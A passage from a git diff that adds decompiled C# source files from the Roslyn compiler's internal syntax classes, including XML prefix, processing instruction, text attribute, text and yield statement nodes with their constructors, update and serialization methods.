prefix; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal XmlPrefixSyntax(SyntaxKind kind, SyntaxToken prefix, SyntaxToken colonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)prefix); + this.prefix = prefix; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => prefix, + 1 => colonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlPrefixSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlPrefix(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlPrefix(this); + } + + public XmlPrefixSyntax Update(SyntaxToken prefix, SyntaxToken colonToken) + { + if (prefix != Prefix || colonToken != ColonToken) + { + XmlPrefixSyntax xmlPrefixSyntax = SyntaxFactory.XmlPrefix(prefix, colonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlPrefixSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlPrefixSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlPrefixSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlPrefixSyntax, (IEnumerable)annotations); + } + return xmlPrefixSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlPrefixSyntax(base.Kind, prefix, colonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlPrefixSyntax(base.Kind, prefix, colonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlPrefixSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + prefix = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + colonToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)prefix); + writer.WriteValue((IObjectWritable)(object)colonToken); + } + + static XmlPrefixSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlPrefixSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlPrefixSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlProcessingInstructionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlProcessingInstructionSyntax.cs new file mode 100644 index 0000000..d0e19b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlProcessingInstructionSyntax.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlProcessingInstructionSyntax : XmlNodeSyntax +{ + internal readonly SyntaxToken startProcessingInstructionToken; + + internal readonly XmlNameSyntax name; + + internal readonly GreenNode? textTokens; + + internal readonly SyntaxToken endProcessingInstructionToken; + + public SyntaxToken StartProcessingInstructionToken => startProcessingInstructionToken; + + public XmlNameSyntax Name => name; + + public SyntaxList TextTokens => new SyntaxList(textTokens); + + public SyntaxToken EndProcessingInstructionToken => endProcessingInstructionToken; + + internal XmlProcessingInstructionSyntax(SyntaxKind kind, SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, GreenNode? textTokens, SyntaxToken endProcessingInstructionToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startProcessingInstructionToken); + this.startProcessingInstructionToken = startProcessingInstructionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endProcessingInstructionToken); + this.endProcessingInstructionToken = endProcessingInstructionToken; + } + + internal XmlProcessingInstructionSyntax(SyntaxKind kind, SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, GreenNode? textTokens, SyntaxToken endProcessingInstructionToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startProcessingInstructionToken); + this.startProcessingInstructionToken = startProcessingInstructionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endProcessingInstructionToken); + this.endProcessingInstructionToken = endProcessingInstructionToken; + } + + internal XmlProcessingInstructionSyntax(SyntaxKind kind, SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, GreenNode? textTokens, SyntaxToken endProcessingInstructionToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startProcessingInstructionToken); + this.startProcessingInstructionToken = startProcessingInstructionToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endProcessingInstructionToken); + this.endProcessingInstructionToken = endProcessingInstructionToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => startProcessingInstructionToken, + 1 => name, + 2 => textTokens, + 3 => endProcessingInstructionToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlProcessingInstructionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlProcessingInstruction(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlProcessingInstruction(this); + } + + public XmlProcessingInstructionSyntax Update(SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, SyntaxList textTokens, SyntaxToken endProcessingInstructionToken) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (startProcessingInstructionToken != StartProcessingInstructionToken || name != Name || textTokens != TextTokens || endProcessingInstructionToken != EndProcessingInstructionToken) + { + XmlProcessingInstructionSyntax xmlProcessingInstructionSyntax = SyntaxFactory.XmlProcessingInstruction(startProcessingInstructionToken, name, textTokens, endProcessingInstructionToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlProcessingInstructionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlProcessingInstructionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlProcessingInstructionSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlProcessingInstructionSyntax, (IEnumerable)annotations); + } + return xmlProcessingInstructionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlProcessingInstructionSyntax(base.Kind, startProcessingInstructionToken, name, textTokens, endProcessingInstructionToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlProcessingInstructionSyntax(base.Kind, startProcessingInstructionToken, name, textTokens, endProcessingInstructionToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlProcessingInstructionSyntax(ObjectReader reader) + : base(reader) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + startProcessingInstructionToken = syntaxToken; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + textTokens = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + endProcessingInstructionToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)startProcessingInstructionToken); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)textTokens); + writer.WriteValue((IObjectWritable)(object)endProcessingInstructionToken); + } + + static XmlProcessingInstructionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlProcessingInstructionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlProcessingInstructionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextAttributeSyntax.cs new file mode 100644 index 0000000..c6a5fb2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextAttributeSyntax.cs @@ -0,0 +1,189 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlTextAttributeSyntax : XmlAttributeSyntax +{ + internal readonly XmlNameSyntax name; + + internal readonly SyntaxToken equalsToken; + + internal readonly SyntaxToken startQuoteToken; + + internal readonly GreenNode? textTokens; + + internal readonly SyntaxToken endQuoteToken; + + public override XmlNameSyntax Name => name; + + public override SyntaxToken EqualsToken => equalsToken; + + public override SyntaxToken StartQuoteToken => startQuoteToken; + + public SyntaxList TextTokens => new SyntaxList(textTokens); + + public override SyntaxToken EndQuoteToken => endQuoteToken; + + internal XmlTextAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, GreenNode? textTokens, SyntaxToken endQuoteToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlTextAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, GreenNode? textTokens, SyntaxToken endQuoteToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlTextAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, GreenNode? textTokens, SyntaxToken endQuoteToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => equalsToken, + 2 => startQuoteToken, + 3 => textTokens, + 4 => endQuoteToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextAttributeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlTextAttribute(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlTextAttribute(this); + } + + public XmlTextAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, SyntaxList textTokens, SyntaxToken endQuoteToken) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || textTokens != TextTokens || endQuoteToken != EndQuoteToken) + { + XmlTextAttributeSyntax xmlTextAttributeSyntax = SyntaxFactory.XmlTextAttribute(name, equalsToken, startQuoteToken, textTokens, endQuoteToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlTextAttributeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlTextAttributeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlTextAttributeSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlTextAttributeSyntax, (IEnumerable)annotations); + } + return xmlTextAttributeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlTextAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, textTokens, endQuoteToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlTextAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, textTokens, endQuoteToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlTextAttributeSyntax(ObjectReader reader) + : base(reader) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + startQuoteToken = syntaxToken2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + textTokens = val; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endQuoteToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)equalsToken); + writer.WriteValue((IObjectWritable)(object)startQuoteToken); + writer.WriteValue((IObjectWritable)(object)textTokens); + writer.WriteValue((IObjectWritable)(object)endQuoteToken); + } + + static XmlTextAttributeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlTextAttributeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlTextAttributeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextSyntax.cs new file mode 100644 index 0000000..5fae646 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlTextSyntax.cs @@ -0,0 +1,129 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlTextSyntax : XmlNodeSyntax +{ + internal readonly GreenNode? textTokens; + + public SyntaxList TextTokens => new SyntaxList(textTokens); + + internal XmlTextSyntax(SyntaxKind kind, GreenNode? textTokens, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + } + + internal XmlTextSyntax(SyntaxKind kind, GreenNode? textTokens, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + } + + internal XmlTextSyntax(SyntaxKind kind, GreenNode? textTokens) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return textTokens; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlTextSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlText(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlText(this); + } + + public XmlTextSyntax Update(SyntaxList textTokens) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (textTokens != TextTokens) + { + XmlTextSyntax xmlTextSyntax = SyntaxFactory.XmlText(textTokens); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlTextSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlTextSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlTextSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlTextSyntax, (IEnumerable)annotations); + } + return xmlTextSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlTextSyntax(base.Kind, textTokens, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlTextSyntax(base.Kind, textTokens, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlTextSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 1; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + textTokens = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)textTokens); + } + + static XmlTextSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlTextSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlTextSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/YieldStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/YieldStatementSyntax.cs new file mode 100644 index 0000000..c7ea30d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/YieldStatementSyntax.cs @@ -0,0 +1,201 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class YieldStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken yieldKeyword; + + internal readonly SyntaxToken returnOrBreakKeyword; + + internal readonly ExpressionSyntax? expression; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken YieldKeyword => yieldKeyword; + + public SyntaxToken ReturnOrBreakKeyword => returnOrBreakKeyword; + + public ExpressionSyntax? Expression => expression; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal YieldStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)yieldKeyword); + this.yieldKeyword = yieldKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnOrBreakKeyword); + this.returnOrBreakKeyword = returnOrBreakKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal YieldStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)yieldKeyword); + this.yieldKeyword = yieldKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnOrBreakKeyword); + this.returnOrBreakKeyword = returnOrBreakKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal YieldStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)yieldKeyword); + this.yieldKeyword = yieldKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)returnOrBreakKeyword); + this.returnOrBreakKeyword = returnOrBreakKeyword; + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => yieldKeyword, + 2 => returnOrBreakKeyword, + 3 => expression, + 4 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitYieldStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitYieldStatement(this); + } + + public YieldStatementSyntax Update(SyntaxList attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || yieldKeyword != YieldKeyword || returnOrBreakKeyword != ReturnOrBreakKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + YieldStatementSyntax yieldStatementSyntax = SyntaxFactory.YieldStatement(base.Kind, attributeLists, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + yieldStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(yieldStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + yieldStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(yieldStatementSyntax, (IEnumerable)annotations); + } + return yieldStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new YieldStatementSyntax(base.Kind, attributeLists, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new YieldStatementSyntax(base.Kind, attributeLists, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal YieldStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + yieldKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + returnOrBreakKeyword = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + 